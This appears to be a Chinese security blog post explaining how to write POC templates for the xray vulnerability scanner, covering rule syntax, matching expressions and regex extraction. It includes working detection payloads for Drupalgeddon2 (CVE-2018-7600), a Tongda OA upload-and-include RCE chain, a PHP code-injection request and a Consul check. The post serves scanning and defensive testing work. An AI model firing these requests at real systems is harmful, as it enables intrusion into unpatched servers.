Xray Poc如何编写

admin 2023年9月5日09:31:29评论49 views字数 6030阅读20分6秒阅读模式

前置知识

总结一下xray官方poc编写规则:https://zhuanlan.zhihu.com/p/78334648

基本的poc结构

name: poc-yaml-example-comrules:  - method: GET    path: "/"    expression: |      status==200 && body.bcontains(b'Example Domain')

整个poc包含三个键值对:

name: string                 poc名称如:poc-yaml-tongda-oa-rcerules: []Rule                 poc规则:poc请求路径,请求内容,回显信息都由此匹配detail: map[string]string     发送给xray的信息,就是平时xray扫描得到漏洞时xray返回的那一串爆红信息

rulers规则

三个键值对中最重要的就是rules键值对,下面简单介绍一下编写规则:

method: string 请求方法path: string 请求的完整Path,包括querystring等headers: map[string]string 请求HTTP头,Rule中指定的值会被覆盖到原始数据包的HTTP头中body: string 请求的Bodyfollow_redirects: bool 是否允许跟随300跳转expression: stringsearch: string

根据这些键的作用,我们将其分为三类:

  1. methodpathheadersbodyfollow_redirects的作用是生成检测漏洞的数据包
  2. expression的作用是判断该条Rule的结果
  3. search的作用是从返回包中提取信息

xray对于POC扫描的流程如下:

POC模块在收到用户的一个请求后,开始对这个目标进行漏洞扫描。根据Rule中的methodpathheadersbodyfollow_redirects键值,替换原始数据包中的对应信息。

替换后的数据包被发送,并获得返回包,再执行expression表达式,表达式结果作为该条Rule的结果;

同时,我们通过search指定的正则表达式,可以从返回包body中提取一些信息,作为下一个rule,或detail中可以被引用的内容。

expression表达式编写

样例:

status==200 && body.bcontains(b'Example Domain')

函数简单总结一下即是:

body.contains('string'): 判断响应包中是否含有string字符串body.bcontains(b'x00x01x02'):判断body中是否包含0x000102这段二进制代码
r'^test'.matches(body):判断响应包是否以test开头,这里也可以用:body.startsWith('test')来代替。r'^PKx03x04'.bmatches(body):判断响应包是否以PK0x0304开头,PK0x0304为zip文件的16进制头
body.startsWith('test'):判断响应包是否以字符串test开头body.endsWith('test'):判断响应包是否以字符串test结尾

官方样列:

body.bcontains(b'test')返回包body包含test,因为body是一个bytes类型的变量,所以我们需要使用bcontains方法,且其参数也是bytes
content_type.contains('application/octet-stream') && body.bcontains(b'x00x01x02')返回包的content-type包含“application/octet-stream”,且body中包含0x000102这段二进制串
content_type.contains('zip') && r'^PKx03x04'.bmatches(body)这个规则用来判断返回的内容是否是zip文件,需要同时满足条件:content-type包含关键字“zip”,且body匹配上正则r’^PKx03x04’(就是zip的文件头)。因为startsWith方法只支持字符串的判断,所以这里没有使用。
status >= 300 && status < 400返回包的status code在300~400之间
(status >= 500 && status != 502) || r'<input value="(.+?)"'.bmatches(body)返回包status code大于等于500且不等于502,或者Body包含表单

官方注意声明:

'rn' 表示换行r'rn' 不表示换行,仅仅表示这4个字符。在编写正则时很有意义。b'test' 一个字节流(bytes),在golang中即为[]byte
expression表达式返回的必须是一个bool类型的结果,这个结果作为整个Rule的值,而rules由多个Rule组成。值为true的Rule,如果后面还有其他Rule,则继续执行后续Rule,如果后续没有其他Rule,则表示该POC的结果是true;如果一个Rule的expression返回false,则不再执行后续Rule,也表示本POC的返回结果是false。

也就是说,一个POC的rules中,最后一个Rule的值,决定是否存在漏洞。

search的作用

一个Rule中,可以支持使用search来查找返回包中的内容;当然,如果不需要查找内容,则可以忽略search。

search是一个字符串类型的正则表达式,我们用一个简单的案例来进行说明。如:

search: |     <input type="hidden" name="csrftoken" value="(.+?)"

该处表示匹配从 <input type=”hidden”开头的html文本中提取csrftoken值。

search: |      name="form_build_id"s+value="(.+?)"

该处则表示从响应中提取form_build_id值。

search: (?P<dirname>200d)_(?P<filename>d+)

该处则表示从响应中提取dirname,filename。

匹配响应中_相连的两个字符,并单独获取匹配结果。?P获取匹配值,/d确定字符边界。

poc示例

可以直接在xray的官方仓库查看大佬们编写的poc,学习一下是如何写的poc

https://github.com/chaitin/xray/tree/master/pocs

网上的一些poc例子:

name: poc-yaml-example-comrules:  - method: GET    path: "/update"    expression: "true"    search: |      <input type="hidden" name="csrftoken" value="(.+?)"  - method: POST    path: "/update"    body: |      id=';echo(md5(123));//&csrftoken={{1}}    expression: |      status == 200 && body.bcontains(b'202cb962ac59075b964b07152d234b70')

Drupal7 drupalgeddon2 命令执行漏洞(CVE-2018-7600)

name: poc-yaml-drupal-drupalgeddon2-rcerules:  - method: POST    path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]=test%25%25test"    headers:      User-Agent: "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"    body: |      form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password    search: |      name="form_build_id"s+value="(.+?)"    expression: |      status==200  - method: POST    path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{1}}"    headers:      User-Agent: "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"    body: |      form_build_id={{1}}    expression: |      body.bcontains(b'test%test')detail:  drupal_version: 7

通达OA-RCE-POC示例

name: poc-yaml-tongda-oa-rceset:  rand: randomInt(200000000, 210000000)rules:  - method: POST    path: /ispirit/im/upload.php    headers:      User-Agent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'      Content-Type: >-        multipart/form-data;charset=utf-8;boundary=---------------------------27723940316706158781839860668      Accept-Encoding: 'deflate'    body: |-      -----------------------------27723940316706158781839860668      Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"      Content-Type: image/jpeg
      {{rand}}      -----------------------------27723940316706158781839860668      Content-Disposition: form-data; name="P"
      {{rand}}      -----------------------------27723940316706158781839860668      Content-Disposition: form-data; name="DEST_UID"
      {{rand}}      -----------------------------27723940316706158781839860668      Content-Disposition: form-data; name="UPLOAD_MODE"
      1      -----------------------------27723940316706158781839860668    follow_redirects: false    expression: |      response.status == 200    search: (?P<dirname>200d)_(?P<filename>d+)  - method: POST    path: /ispirit/interface/gateway.php    headers:      User-Agent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'      Content-Type: 'application/x-www-form-urlencoded'      Accept-Encoding: 'deflate'    body: |        json={"url":"../../../general/../attach/im/{{dirname}}/{{filename}}.jpg"}    expression: |      response.status == 200 && response.body.bcontains(bytes(string(rand)))detail:  author: 清风明月(www.secbook.info)  demo_tongda_version: 'tongda-oa-11.3'  links:    - https://cdndown.tongda2000.com/oa/2019/TDOA11.3.exe    - https://www.anquanke.com/post/id/201174    - https://github.com/fuhei/tongda_rce/blob/master/tongda_rce.py

编写测试

高效率编写poc学习文章:
https://docs.xray.cool/#/guide/high_quality_poc

https://paper.seebug.org/9/

这里简单编写一下某src发现的Consul Service API远程命令执行漏洞

该漏洞访问/v1/agent/self路径,响应中EnableLocalScriptChecks”: true即可大概率判断存在远程命令执行漏洞,非常容易写poc进行判断

name: poc-yaml-ConsulServiceApi_rcerules:  - method: GET    path: "/v1/agent/self"    expression: "true"    expression: |      status == 200 && body.contains(b'"EnableRemoteScriptChecks": true')

辅助工具

Xray Poc如何编写

https://github.com/phith0n/xray-poc-generation

参考链接

https://github.com/phith0n/xray-poc-generationhttps://zhuanlan.zhihu.com/p/78334648https://github.com/chaitin/xray/tree/master/pocshttps://docs.xray.cool/#/guide/high_quality_pochttps://paper.seebug.org/9/https://h11ba1.com/2021/04/05/xray%20poc%E7%BC%96%E5%86%99%E5%AD%A6%E4%B9%A0/

原文始发于微信公众号(巢安实验室):Xray Poc如何编写

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月5日09:31:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Xray Poc如何编写https://cn-sec.com/archives/2011040.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息